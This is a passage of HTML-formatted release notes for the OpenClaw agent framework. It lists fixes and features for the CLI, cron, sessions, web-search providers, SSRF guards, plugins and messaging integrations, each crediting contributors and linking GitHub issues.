<p>Crestodian/CLI: exit non-zero when interactive Crestodian is invoked without a TTY, so scripts and CI no longer treat the setup error as success. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4344381793" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73646" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73646/hovercard" href="https://github.com/openclaw/openclaw/issues/73646">#73646</a> and supersedes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4347317157" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73928" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/73928/hovercard" href="https://github.com/openclaw/openclaw/pull/73928">#73928</a> and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4347801211" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74059" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/74059/hovercard" href="https://github.com/openclaw/openclaw/pull/74059">#74059</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bittoby/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bittoby">@bittoby</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/luyao618/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/luyao618">@luyao618</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Linux2010/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Linux2010">@Linux2010</a>.</p>
</li>
<li>
<p>Cron: keep implicit/default isolated cron announce deliveries out of the main session awareness queue, so isolated jobs do not accumulate in the main conversation. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4208027555" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/61426" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/61426/hovercard" href="https://github.com/openclaw/openclaw/issues/61426">#61426</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Lihannon/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Lihannon">@Lihannon</a>.</p>
</li>
<li>
<p>Subagents: avoid duplicate parent-visible replies when a parent uses <code>sessions_send</code> on its own persistent native subagent session, while preserving announce delivery for async sends. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4342979045" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73550" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73550/hovercard" href="https://github.com/openclaw/openclaw/issues/73550">#73550</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/sylviazhang2006-design/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/sylviazhang2006-design">@sylviazhang2006-design</a>.</p>
</li>
<li>
<p>Web search/Brave: add opt-in <code>brave.http</code> diagnostics for Brave request URLs/query params, response status/timing, and cache hit/miss/write events without logging API keys or response bodies. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4144203570" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/55196" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/55196/hovercard" href="https://github.com/openclaw/openclaw/issues/55196">#55196</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/mecampbellsoup/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/mecampbellsoup">@mecampbellsoup</a>.</p>
</li>
<li>
<p>Web search/Brave: add <code>plugins.entries.brave.config.webSearch.baseUrl</code> for Brave-compatible proxies, including endpoint-aware cache keys for both web and LLM Context modes. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3951923414" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/19075" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/19075/hovercard" href="https://github.com/openclaw/openclaw/issues/19075">#19075</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jkoprax/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jkoprax">@jkoprax</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vishnukool/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vishnukool">@vishnukool</a>.</p>
</li>
<li>
<p>Web search/config: validate explicit <code>tools.web.search.provider</code> values against bundled and installed plugin manifests, while warning for stale third-party plugin config. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4123070790" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/53092" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/53092/hovercard" href="https://github.com/openclaw/openclaw/issues/53092">#53092</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/TinyTb/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/TinyTb">@TinyTb</a>.</p>
</li>
<li>
<p>Web search/SearXNG: retry empty non-general category searches once with the general category, so unsupported category engines do not return empty results when general search has matches. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4343014523" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73552" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73552/hovercard" href="https://github.com/openclaw/openclaw/issues/73552">#73552</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Loukky/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Loukky">@Loukky</a>.</p>
</li>
<li>
<p>CLI/message: skip gateway-stop hooks for read-only <code>message read</code> and bound stop-hook shutdown for other message actions, so one-shot Discord reads cannot hang behind plugin lifecycle cleanup.</p>
</li>
<li>
<p>Plugins/web-provider: cache repeated bundled web search and web fetch provider registry loads by default while preserving explicit cache opt-outs. Supersedes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4368302945" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75992" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/75992/hovercard" href="https://github.com/openclaw/openclaw/pull/75992">#75992</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/DmitryPogodaev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/DmitryPogodaev">@DmitryPogodaev</a>.</p>
</li>
<li>
<p>Agents/sandbox: preserve existing workspace file modes when sandbox edits atomically replace files, so 0644 files do not collapse to 0600 after Write/Edit/apply_patch. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4064748597" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/44077" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/44077/hovercard" href="https://github.com/openclaw/openclaw/issues/44077">#44077</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/patosullivan/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/patosullivan">@patosullivan</a>.</p>
</li>
<li>
<p>Control UI/WebChat: route typed <code>/new</code> through the New Chat dashboard-session creation flow instead of <code>chat.send</code>, while keeping <code>/reset</code> as the explicit current-session reset. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4300356598" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/69599" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/69599/hovercard" href="https://github.com/openclaw/openclaw/issues/69599">#69599</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/WolvenRA/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/WolvenRA">@WolvenRA</a>.</p>
</li>
<li>
<p>Agents/models: keep legacy CLI runtime model refs such as <code>claude-cli/*</code> in the configured allowlist after canonical runtime migration, so cron <code>payload.model</code> overrides keep working. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4365669096" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75753" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75753/hovercard" href="https://github.com/openclaw/openclaw/issues/75753">#75753</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/RyanSandoval/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/RyanSandoval">@RyanSandoval</a>.</p>
</li>
<li>
<p>Codex/app-server: restart the shared Codex app-server client once when it closes during startup thread resume, preserving the existing thread binding instead of retrying <code>thread/start</code> on a closed client. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>Gateway/watch: keep colored subsystem log prefixes in the managed tmux pane even when the parent shell exports <code>NO_COLOR</code>, while preserving explicit <code>FORCE_COLOR=0</code> opt-out. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>Agents/compaction: submit a non-empty runtime-event marker for pre-compaction memory flush turns, so strict Anthropic providers no longer reject the silent flush as an empty user message. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4361911066" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75305" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75305/hovercard" href="https://github.com/openclaw/openclaw/issues/75305">#75305</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/sableassistant3777-source/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/sableassistant3777-source">@sableassistant3777-source</a>.</p>
</li>
<li>
<p>Plugin SDK: re-export <code>isPrivateIpAddress</code> from <code>plugin-sdk/ssrf-runtime</code>, restoring source-checkout builds for SearXNG and Firecrawl private-network guards. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>Discord/message actions: advertise <code>upload-file</code> and route it through Discord's send runtime with agent-scoped media reads, so agents can discover and send file attachments. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4203171087" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/60652" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/60652/hovercard" href="https://github.com/openclaw/openclaw/issues/60652">#60652</a> and supersedes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4204560464" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/60808" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/60808/hovercard" href="https://github.com/openclaw/openclaw/pull/60808">#60808</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4206054244" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/61087" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/61087/hovercard" href="https://github.com/openclaw/openclaw/pull/61087">#61087</a>, and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4206088150" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/61100" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/61100/hovercard" href="https://github.com/openclaw/openclaw/pull/61100">#61100</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/claw-io/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/claw-io">@claw-io</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/efe-arv/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/efe-arv">@efe-arv</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/joelnishanth/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/joelnishanth">@joelnishanth</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/sjhddh/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/sjhddh">@sjhddh</a>.</p>
</li>
<li>
<p>Sessions: suppress exact inter-session control replies such as <code>NO_REPLY</code> and keep agent-to-agent announce bookkeeping out of visible transcripts. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4123622416" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/53145" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/53145/hovercard" href="https://github.com/openclaw/openclaw/issues/53145">#53145</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/TarahAssistant/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/TarahAssistant">@TarahAssistant</a>.</p>
</li>
<li>
<p>CLI/directory: report unsupported directory operations for installed channel plugins instead of prompting to reinstall the plugin when it lacks a directory adapter. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4365917479" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75770" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75770/hovercard" href="https://github.com/openclaw/openclaw/issues/75770">#75770</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/lawong888/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/lawong888">@lawong888</a>.</p>
</li>
<li>
<p>Web search/SearXNG: show the JSON API <code>search.formats</code> prerequisite during SearXNG setup before prompting for the base URL. Supersedes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4250289649" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/65592" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/65592/hovercard" href="https://github.com/openclaw/openclaw/pull/65592">#65592</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/evanpaul14/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/evanpaul14">@evanpaul14</a>.</p>
</li>
<li>
<p>Web search/SearXNG: pass through <code>img_src</code> image URLs from SearXNG image-category results. Supersedes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4207995751" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/61416" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/61416/hovercard" href="https://github.com/openclaw/openclaw/pull/61416">#61416</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/sghael/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/sghael">@sghael</a>.</p>
</li>
<li>
<p>Web search/Kimi: fail explicitly when Moonshot returns an ungrounded chat answer instead of native web-search evidence, so Kimi no longer reports generic fallback text as a successful search. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4117727594" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/52573" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/52573/hovercard" href="https://github.com/openclaw/openclaw/issues/52573">#52573</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/wangwllu/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/wangwllu">@wangwllu</a>.</p>
</li>
<li>
<p>Web search: keep public provider requests on the strict SSRF guard and reserve private-network access for explicit self-hosted SearXNG/Firecrawl endpoints. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4350921258" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74357" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74357/hovercard" href="https://github.com/openclaw/openclaw/issues/74357">#74357</a> and supersedes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4350976183" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74360" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/74360/hovercard" href="https://github.com/openclaw/openclaw/pull/74360">#74360</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/fede-kamel/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/fede-kamel">@fede-kamel</a>.</p>
</li>
<li>
<p>Firecrawl: reject private, loopback, metadata, and non-HTTP(S) <code>firecrawl_scrape</code> target URLs before forwarding them to Firecrawl. Supersedes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4081587848" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/48133" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/48133/hovercard" href="https://github.com/openclaw/openclaw/pull/48133">#48133</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kn1ghtc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kn1ghtc">@kn1ghtc</a>.</p>
</li>
<li>
<p>Web search/Firecrawl: allow self-hosted private/internal Firecrawl <code>baseUrl</code> endpoints, including HTTP for private targets, while keeping hosted Firecrawl on the strict official endpoint. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4234128169" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/63877" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/63877/hovercard" href="https://github.com/openclaw/openclaw/issues/63877">#63877</a> and supersedes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4194271236" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/59666" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/59666/hovercard" href="https://github.com/openclaw/openclaw/pull/59666">#59666</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4235261313" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/63941" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/63941/hovercard" href="https://github.com/openclaw/openclaw/pull/63941">#63941</a>, and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4347547141" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74013" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/74013/hovercard" href="https://github.com/openclaw/openclaw/pull/74013">#74013</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jhthompson12/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jhthompson12">@jhthompson12</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jzakirov/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jzakirov">@jzakirov</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Mlightsnow/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Mlightsnow">@Mlightsnow</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shad0wca7/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shad0wca7">@shad0wca7</a>.</p>
</li>
<li>
<p>CLI/models: report gateway model fallback attempts in <code>infer model run --json</code> and avoid double-prefixing provider-qualified defaults such as <code>openrouter/auto</code> in <code>models status</code>. Partially fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4299726655" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/69527" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/69527/hovercard" href="https://github.com/openclaw/openclaw/issues/69527">#69527</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alexifra/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alexifra">@alexifra</a>.</p>
</li>
<li>
<p>Providers/OpenRouter: strip trailing assistant prefill turns from verified OpenRouter Anthropic model requests when reasoning is enabled, so Claude 4.6 routes no longer fail with Anthropic's prefill rejection through the OpenAI-compatible adapter. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4362626247" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75395" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75395/hovercard" href="https://github.com/openclaw/openclaw/issues/75395">#75395</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/sbmilburn/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/sbmilburn">@sbmilburn</a>.</p>
</li>
<li>
<p>Voice Call: add per-number inbound routing for dialed-number greetings, response agents/models/prompts, and TTS voice overrides. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4161590255" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/56604" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/56604/hovercard" href="https://github.com/openclaw/openclaw/issues/56604">#56604</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/healthstatus/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/healthstatus">@healthstatus</a>.</p>
</li>
<li>
<p>Feishu: preserve Feishu/Lark HTTP error bodies for message sends, media sends, and chat member lookups, so HTTP 400 failures include vendor code, message, log id, and troubleshooter details. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4346852455" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73860" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73860/hovercard" href="https://github.com/openclaw/openclaw/issues/73860">#73860</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/desksk/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/desksk">@desksk</a>.</p>
</li>
<li>
<p>Agents/transcripts: avoid reopening large Pi transcript files through the synchronous session manager for maintenance rewrites, persisted tool-result truncation, manual compaction boundary hardening, and queued compaction rotation. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/mariozechner/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/mariozechner">@mariozechner</a>.</p>
</li>
<li>
<p>Web search/Exa: accept <code>plugins.entries.exa.config.webSearch.baseUrl</code>, normalize it to the Exa <code>/search</code> endpoint, and partition cached results by endpoint. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4140768584" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/54928" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/54928/hovercard" href="https://github.com/openclaw/openclaw/issues/54928">#54928</a> and supersedes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4140867375" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/54939" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/54939/hovercard" href="https://github.com/openclaw/openclaw/pull/54939">#54939</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/mrpl327/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/mrpl327">@mrpl327</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/lyfuci/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/lyfuci">@lyfuci</a>.</p>
</li>
<li>
<p>Web search/MiniMax: include MiniMax Search in the web-search setup flow and let <code>MINIMAX_API_KEY</code> participate in MiniMax Search auto-detection. Supersedes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4252993330" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/65828" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/65828/hovercard" href="https://github.com/openclaw/openclaw/pull/65828">#65828</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Jah-yee/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Jah-yee">@Jah-yee</a>.</p>
</li>
<li>
<p>Plugins/ClawHub: preserve official source-linked trust through archive installs, so OpenClaw can install trusted ClawHub plugin packages that trigger the built-in dangerous-pattern scanner. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>Plugins/ClawHub: install package runtime dependencies for archive-backed plugin installs, so ClawHub packages such as WhatsApp load declared dependencies after download. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>Plugins/tools: cache repeated plugin tool factory results only for matching request context, reducing per-turn tool prep without leaking sandbox, session, browser, delivery, or runtime config state. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4367960262" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75956" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75956/hovercard" href="https://github.com/openclaw/openclaw/issues/75956">#75956</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Linux2010/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Linux2010">@Linux2010</a>.</p>
</li>
<li>
<p>Providers/LM Studio: allow <code>models.providers.lmstudio.params.preload: false</code> to skip OpenClaw's native model-load call so LM Studio JIT loading, idle TTL, and auto-evict can own model lifecycle. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4367728807" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75921" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75921/hovercard" href="https://github.com/openclaw/openclaw/issues/75921">#75921</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/garyd9/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/garyd9">@garyd9</a>.</p>
</li>
<li>
<p>Agents/transcripts: keep chat history, restart recovery, fork token checks, and stale-token compaction checks on bounded async transcript reads or cached async indexes instead of reparsing large session files. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/mariozechner/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/mariozechner">@mariozechner</a>.</p>
</li>
<li>
<p>Telegram: inherit the process DNS result order for Bot API transport and downgrade recovered sticky IPv4 fallback promotions to debug logs, while keeping pinned-IP escalation warnings visible. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4367563919" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75904" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75904/hovercard" href="https://github.com/openclaw/openclaw/issues/75904">#75904</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/highfly-hi/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/highfly-hi">@highfly-hi</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/neeravmakwana/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/neeravmakwana">@neeravmakwana</a>.</p>
</li>
<li>
<p>Sessions: keep durable external conversation pointers, including group and thread-scoped chat sessions, out of age, count, and disk-budget maintenance eviction while still allowing synthetic runtime entries to age out. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4175356638" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/58088" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/58088/hovercard" href="https://github.com/openclaw/openclaw/issues/58088">#58088</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/drinkflav/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/drinkflav">@drinkflav</a>.</p>
</li>
<li>
